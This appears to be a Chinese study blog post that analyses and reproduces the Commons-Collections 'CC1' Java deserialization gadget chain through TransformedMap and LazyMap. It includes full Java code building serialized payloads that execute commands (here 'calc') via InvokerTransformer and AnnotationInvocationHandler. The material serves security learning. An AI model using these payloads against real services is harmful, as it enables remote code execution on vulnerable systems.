流程图
分析与复现
本文章主要根据大佬白组长的视频进行学习记录,视频里详细分析了 TransformedMap 这条链,对 LazyMap 那一条链也进行了提点式的说明。一点一点跟完视频后收获非常多,在这里记录一下,由于还在学习基础阶段,因此记录得比较啰嗦。
0x00 概述
CommonsCollection1 反序列化利用链是一条 Commons-Collections 包中的利用链。
利用版本
CommonsCollections 3.1 - 3.2.1
限制
JDK版本:1.7 (8u71之后已修复不可利用)
0x01 前置准备
1. 了解 Commons-Collection
在 Java 的 Collections API 中,大致可以划分为三种主要的类别:
- 容器类:如Collection、List、Map等,用于存放对象和进行简单操作的;
-
操作类:如Collections、Arrays等,用于对容器类的实例进行相对复杂操作如排序等;
- 辅助类:如Iterator、Comparator等,用于辅助操作类以及外部调用代码实现对容器类的操作,
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。Commons-Collection 为 Java 标准的 Collections API 提供了相当好的补充。
包结构如下:
org.apache.commons.collections – Commons Collections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag – 实现Bag接口的一组类
org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer – 实现Buffer接口的一组类
org.apache.commons.collections.collection – 实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators – 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors – Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list – 实现java.util.List接口的一组类
org.apache.commons.collections.map – 实现Map系列接口的一组类
org.apache.commons.collections.set – 实现Set系列接口的一组类
其实不做开发,不需要对这个包面临的需求以及具体使用了解得特别清楚,简单来看,这一个包可以对 java 中的常用数据结构进行操作。在后续的复现与分析过程中会对 Commons-Collection 中的一些数据结构做进一步了解。
2. 复现环境准备
2.1 从maven 获取 Commons-Collection
可以去 maven repo 中搜索 common-collection:
https://mvnrepository.com/artifact/commons-collections/commons-collections
选择下载 3.2.1 版本就可以了
2.2 jdk 版本选择
CC1 利用链在 jdk 8u71 后被修复,复现时选择 jdk 8u65 即可。
2.3 从 openjdk 获取 jdk 源码
我们在寻找利用链的时候,常常会用到 IDEA 中的 find Usage 功能,但该功能只在有 java 源码的情况下可以使用,如果第三方包只有 .class 文件,就没法自动搜索,且反编译后的源码阅读的成本也会增加。所以我们可以到 openjdk 中查找对应版本,利用一些关键词定位到对应版本。
hg.openjdk.java.net/jdk8u/jdk8u/jdk/logs?rev=修改文件的关键词
例如查找CC1链修复前的一个版本的jdk源码:
hg.openjdk.java.net/jdk8u/jdk8u/jdk/logs?rev=annotationvocationhandler
上图中对于 CC1 链的修复就是最上面的那一个,点进去后可以看到 parent,也就是修复的上一个版本。
点击到 parent 就可以跳转到漏洞修复前的版本了。
直接点击 zip 就可以下载了
解压后 jdk 的代码在路径jdk-af660750b2f4\src\share\classes
下
以 CC1 链为例,将需要使用 sun 包复制一下。
切换到 jdk 路径下,目录下的 src.zip 用于存放 Oralcle 自带的源码。
用压缩软件打开
然后将前面解压出来的 sun 复制进去,如果出现权限错误,可以先拷贝到 c 盘。
IDEA 会自动索引,这样就可以查看 sun 的源码了。
0x02 寻找触发点
一个能成功执行的反序列化调用链需要三个元素:kick-off、sink、chain。翻译成中文来说就是 “入口点(重写了 readObject 的类)”、“sink 点(最终执行恶意动作的点:RCE…)”、“chain (中间的调用链)”。
反序列化利用链的挖掘通常以反向寻找的方式进行。下面我们以 sink–> chain –> kick-off 的思路还原 CC1 利用链。
反序列化利用链的触发点通常需要寻找一个可以序列化(实现了 Serializable 接口)并且存在一些敏感操作(例如 invoke 调用、文件读写等等)的类。拿到 common-collections,我们首先去定位一下敏感函数(使用 codeql、fortify、代码卫士等)。
common-collections 源码可以使用 maven 下载,默认和 common-collections 放在同一目录下:
自动化扫描这里不过多交代,CC1 链的触发点在 InvokerTransformer 类的 transform 方法中。
从 input 对象中获取 class 对象,通过 iMethodName,iParamTypes 获取相应的方法,然后传入 iArgs 参数,通过 invoke 调用相应的方法。
iMethodName、iParamTypes、iArgs 三个参数都可以在 InvokerTransformer 的构造函数中进行赋值。因此只要能够在反序列化中得到这个类,并且调用 transform 方法,就能够执行任意命令。
另外,InvokerTransformer 类实现了 Serializable 接口,可以进行序列化和反序列化。
从上述的几个条件来看,InvokerTransformer 类就是一个绝佳的 “sink”。
我们可以先手动尝试一下使用 InvokerTransformer 的 transform 执行任意命令。例如执行 Runtime.getRuntime().exec("calc");
构造函数需要传入:方法名(String)、参数类型(Class 数组)、参数(Object 数组)。
- String methodName, Class[] paramTypes, Object[] args
public static void TestInvokerTransformer() throws Exception{
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
成功弹出计算器。
到这里,利用链暂时只有这一个节点,流程图长这样:
0x03 TramformedMap 调用链
找到 sink 后,就需要反向寻找哪些类的哪些方法可以调用这个 transfrom 方法。可以使用 IDEA 中的 find Usages 功能来寻找。
可以看到总共时 21 处调用,重点关注各种 jar 包中的调用。
其中有一个 TramformedMap
TramformedMap 用于装饰一个 Map,构造函数提供一个 map 和两个 Transformer 对象。从名称中可以看出,keyTransformer 用于修饰 map 中的键,valueTransformer 用于修饰值,对键和值的操作就在这两个 Transformer 对象中定义,上面的 InvokerTransformer 类就是 Transformer 类的一个实现,所以这里当然也可以传入一个 InvokerTransformer 对象。
TramformedMap 在 checkSetValue 方法中对 transform 进行了调用:
这里的 valueTransformer 如果是一个 InvokerTransformer 对象,那就能够触发上面的任意代码执行。
另外 TramformedMap 也是可以进行序列化的,因此 TramformedMap 可以作为我们反序列化中的一员。
再往上找,我们需要寻找哪个类的哪个方法调用了 checkSetValue 方法。同样使用 IDEA 中的 find Usages 功能来寻找。
可以看到在 AbstractInputCheckedMapDecorator 抽象类中的 MapEntry 类中,setValue 方法调用了 checkSetValue 方法。
我们只要能够控制 parent
那这个 MapEntry 的 setValue 方法在哪里会被调用呢?到这一步其实不需要再往上寻找,类比一下 HashMap 就可以知道这个方法应该如何调用。
熟悉 Java HashMap 的话应该知道:
HashMap 继承自 AbstractMap,而 AbstractMap 实现了 Map 接口,Map 接口中包含了一个 Entry 接口。
HashMap 在遍历时就会用到 Map.Entry 接口,并且 entry 对象可以使用 setValue 方法在修改值,示例代码如下:
Map<Integer, Integer> map = new HashMap<Integer, Integer>();
map.put(1, 10);
map.put(2, 20);
// Iterating entries using a For Each loop
for (Map.Entry<Integer, Integer> entry : map.entrySet()) {
System.out.println("Key = " + entry.getKey() + ", Value = " + entry.getValue());
}
类比 HashMap:
TramformedMap 继承自 AbstractInputCheckedMapDecorator ,AbstractInputCheckedMapDecorator 继承自 AbstractMapDecorator,而 AbstractMapDecorator 实现了 Map.Entry 接口,并且 AbstractInputCheckedMapDecorator.MapEntry 重写了 setValue 方法。
也就是说我们可以获取 TramformedMap 的 entry,然后调用 setValue 方法。进而触发后面的利用链。
流程如下:
- 创建 TramformedMap 对象。
-
以 entry 的形式遍历该对象。
- 调用 setValue 方法。该方法传入 value ,然后调用 TramformedMap.checkSetValue 方法。
-
TramformedMap.checkSetValue 方法调用 valueTransformer.transform(value); 这里的 valueTransformer 就是我们在 decorate 时传入的 invokerTransformer。
- 由于目标是调用 invokerTransformer.transform(Runtime.getRuntime())。因此 setValue 时需要传入 Runtime.getRuntime()。
于是我们可以编写如下代码,观察是否能够成功弹出计算器。
public static void TestInvokerTransformer() throws Exception{
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<String,String> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry<Object,Object> entry: transformedMap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}
至此,利用链如下:
到这一步我们可以继续寻找 chain,如果有一个以 Entry 形式遍历 Map 的地方,并且调用了 setValue 方法。那么就可以调用这一条链。当然,最终我们的目标是溯源到某个类的 readObject 方法中。
继续使用 IDEA 的 find Usages 寻找。
在 sun.reflect.annotation 中找到了对 setValue 方法的调用,并且是在 readObject 方法中调用。
AnnotationInvocationHandler 类的 readObject 方法中遍历 memberValues 然后调用 setValue 方法。memberValues 是在构造函数中直接赋值的。
因此,我们可以在序列化时将 memberValues 设置为一个用 TramformedMap.decorate 方法装饰过的 Map ,在反序列化时遍历这个 Map,同时调用 setValue 方法,进而把后面的利用链走通。
到这一步基本上能够把整条链串起来了。
下面我们可以尝试编写代码序列化一个 AnnotationInvocationHandler。需要注意以下几点:
- AnnotationInvocationHandler 是一个用于注解的动态代理。
-
构造器接收两个参数
Class<? extends Annotation> type, Map<String, Object> memberValues
,第一个是 type,需要输入一个继承于 Annotation 接口的注解类的 Class 对象,例如 Target.class,第二个是memberValues,一个 Map<String,Object> 对象。 - 另外,AnnotationInvocationHandler 没有 public 标识,所以是 default 类型,default 类型只允许在同一个包内访问。也就是 package sun.reflect.annotation,因此,在实例化对象的时候,不能直接 new,而是要通过反射去获取。
public static void TestInvokerTransformer() throws Exception{
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<String,String> map = new HashMap<>();
map.put("111","222");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// Runtime r = Runtime.getRuntime();
// for(Map.Entry entry: transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
serialize(constructor.newInstance(Override.class, transformedMap));
unserialize("abc.ser.bin");
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
oos.writeObject(o);
}
编写完序列化的语句之后,还有两个问题需要解决
1. 解决 Runtime 对象不能序列化
Runtime 对象是不能够直接序列化的,因此我们必须反射获取一个 Rumtime 对象。
Runtime 对象不能反序列化,但是 Runtime.class 可以反向列化
因此我们可以从 Runtime.class 入手来编写执行任意命令的语句,其中也需要注意几个要点:
- exec 并不是一个静态方法,因此在执行前也需要实例化一个 Runtime 对象。
-
实例化 Runtime 对象时不能直接使用构造器进行实例化,原因在于构造器是一个私有方法,但我们可以通过调用 getRuntime 方法获得一个实例。
- getRuntime 方法是一个静态方法,因此在 invoke 调用时,第一个参数为 null,由于 getRuntime 不需要参数,但是也可以为自身,因此 invoke 第二个参数也为 null。
- 别忘了 Runtime 的强制类型转换。 最终编写如下:
public static void testRuntimeClass() throws Exception{
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime)getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");
}
在序列化时,需要改成 InvokerTransformer 调用的形式,需要注意以下几点:
- getMethod 方法的第一个参数是函数名,第二个参数是可变数量的 Class 数组。
- invoke 函数的第一个参数类型为 Object ,第二个参数类型为 Object 数组。 最终改写如下:
public static void testRuntimeClassInvokerTransformer() throws Exception{
Object ob1 = new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
).transform(Runtime.class);
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime");
Object ob2 = new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
).transform(ob1);
// Runtime r = (Runtime)getRuntimeMethod.invoke(null,null);
Object ob3 = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
).transform(ob2);
// exec.invoke(r,"calc");
}
这样,Runtime 序列化的问题就解决了。
值得一提的是,从上面的三个 InvokerTransformer 的调用关系上来看,实际上是一个链式调用。前一个的输出作为后一个的输入,在 Common-collections 中,有一个 ChainedTransformer 可以用于 Transformer 的链式调用。
这个类的 transform 方法的作用就是链式调用 iTransformers。
iTransformers 是一个 Transformer 数组,构造器传入参数时赋值。
因此,我们可以将上面三个 InvokerTransformer 合并到一个 ChainedTransformer 中。
改写如下;
public static void testRuntimeClassChainedTransformer() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
chainedTransformer.transform(Runtime.class);
}
将这部分代码替换掉之前的 InvokerTransformer。
改写的代码如下:
public static void TestInvokerTransformer() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<String,String> map = new HashMap<>();
map.put("value","222");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Runtime r = Runtime.getRuntime();
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
serialize(constructor.newInstance(Target.class, transformedMap));
unserialize("abc.ser.bin");
}
2. 解决传入参数不可控问题
setValue 需要传入 Runtime 对象,而在 AnnotationInvocationHandler 的 readObject 方法中是一个 AnnotationTypeMismatchExceptionProxy 对象。
面对这种较为复杂的代码,最好是动态调试一下。
进入 readObject,可以看到 this.memberValues 就是我们最初对 map 的赋值。
尔后循环遍历 memberValues。第一个 if 判断 memberType 是否为 null,memberTypes 取自 annotationType.memberTypes(),name 为键名。
而 annotationType 是通过我们传入 type 进行实例化的。可以看到 type 就是在前面构造时赋值的 Override.class
这里的意思是从传入的 map 中取出 entry ,然后判断 key 的值,是否是 Override 这个接口的属性。而 Override 并没有任何属性,因此的 memberType 为 null。
所以我们可以在构造时选择 Target.class 或者其他带有属性、且继承于 annotation 接口的注解类。可以看到 Target 接口中有 value 这个属性。
修改:
map.put("value","222");
...
serialize(constructor.newInstance(Target.class, map));
然后再次调试:
传入的 value 只是一个 String 实例,memberType 是 java.lang.annotation.ElementType 类,因此这里可以直接进去。
终于到了 memberValue.setValue 方法,但是这里的参数并不是我们想要的 Runtime.class。我们可以在 TransformedMap.checkSetValue 处下一个断点。
这里的 valueTransformer 是我们传入的 chainedTransformer ,调用 transform 方法,但是 value 并不是我们想要的 Runtime.class 。
怎么解决这个问题呢?
Common-collection 中提供了一个 ConstantTransformer,这个类在调用 transform 方法时,无论传入什么参数,都返回自己的 iConstant 成员变量。
而 iConstant 成员变量是在构造器中赋值的,因此我们可控。
所以,我们在 chainedTransformer 中可以再添加一个 ConstantTransformer,即使在 AnnotationInvocationHandler.readObject 中调用 setValue 方法时参数并不是 Runtime.class ,ConstantTransformer 也能直接返回 Runtime.class。
解决了上述两个问题之后,最终 payload 如下:
public static void TestInvokerTransformer() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<String,String> map = new HashMap<>();
map.put("value","222");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Runtime r = Runtime.getRuntime();
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
serialize(constructor.newInstance(Target.class, transformedMap));
unserialize("abc.ser.bin");
}
可以成功执行命令。
0x04 LazyMap 调用链
从最开始寻找哪里调用 transfrom 方法时,上面我们选择了 TramformedMap ,但从查询结果看其实 LazyMap.get 方法也调用了 transform 方法。
其实,ysoserial 中的 payload 也是用的 LazyMap。下面继续分析 LazyMap 这一条调用链。
LazyMap.get 方法调用了 factory 的 transform 方法,factory 在构造器中赋值,因此可控。
如果继续寻找哪里调用了 get 方法是很困难的,get 的同名方法非常多,如果直接去找如同大海捞针,利用链的作者在 AnnotationInvocationHandler 中找到了这样一条利用链。
在 invoke 方法中调用了 memberValues.get,而 memberValues 来自于构造器传入的参数,是我们可控的。
并且参数 mamber 来自于 invoke 的参数,表示调用的方法名。
AnnotationInvocationHandler 本质就是一个 Annotation 类的动态代理,因此只要代理对象调用任何方法,就可以调用这个 invoke 方法。
到这一步,利用链如下:
再一个问题就是用 AnnotationInvocationHandler 去代理什么?当然,随便调用什么方法都可以触发 AnnotationInvocationHandler 的 invoke 。但是,我们在调用 invoke 后,要想运行到 Object result = memberValues.get(member);
还需要考虑下面的三个判断。
- 方法名不等于 equals
-
调用方法的参数数量需要等于零,也就是需要调用无参方法。
- 方法名不能是 toString、hashCode、annotationType。
总之,反序列化利用链上,需要调用这个代理对象的一个无参方法,且不是 toString、hashCode、annotationType。
值得一提的是,AnnotationInvocationHandler 的 readObject 方法中。
memberValues 就是我们可控的对象,调用的 entrySet 就是一个无参方法。
因此,我们直接用 AnnotationInvocationHandler 创建一个代理对象 proxyMap 用来代理 lazyMap。然后创建 AnnotationInvocationHandler 实例,传入这个 proxyMap 。
最终利用链如下:
- 最外层是一个 AnnotationInvocationHandler 对象,其 memberValues 是一个 Proxy。
-
Proxy 是一个 AnnotationInvocationHandler 对象,其 memberValues 是一个 LazyMap
- LazyMap 的 transform 会调用 chainedTransformer,进而执行命令。
来理解一下这一条反序列化的具体运行流程:
首先 readObject,此时 memberValues 就是这个 proxyMap 。
调用 entrySet 方法时进入 invoke 方法。此时已经进入 proxyMap 这个代理对象的 InvocationHandler(调用处理程序),此时的 memberValues 是 LazyMap。
执行 LazyMap.get(entrySet)
此时 map 是一个 HashMap,HashMap.containsKey 方法用于判断 map 中是否存在指定的 key 对应的映射关系。此前构造的 hashMap 没有赋值,所以自然不存在 entrySet 这个 key,因此进一步调用 factory.transform 方法,这里的 factory 是我们构造的 chainedTransformer,继而可以触发后面的利用链。
运行效果如下:
会抛出异常,也会执行命令。
一个没有解决的问题是:调试的时候怎么也无法跟进到执行命令,IDEA 会忽略断点。这一点很迷。
最终只能通过如下的方式简单测试:
直接在 hashMap 中加入一个 key 为 “entrySet” 的键值对。
此时自然就过不了 LazyMap.get 中的那个 if 了。运行后仅抛出异常,但不会执行命令。
最终 payload 如下:
public static void TestLazyMap() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
});
HashMap<String,String> map = new HashMap<>();
map.put("entrySet1","aaa");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler h1 = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map proxymap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), h1);
InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, proxymap);
serialize(h2);
}
0x05 DefaultMap 调用链
DefaultMap 与 LazyMap 一样,使用 get 方法触发,因此与 LazyMap 利用链相同。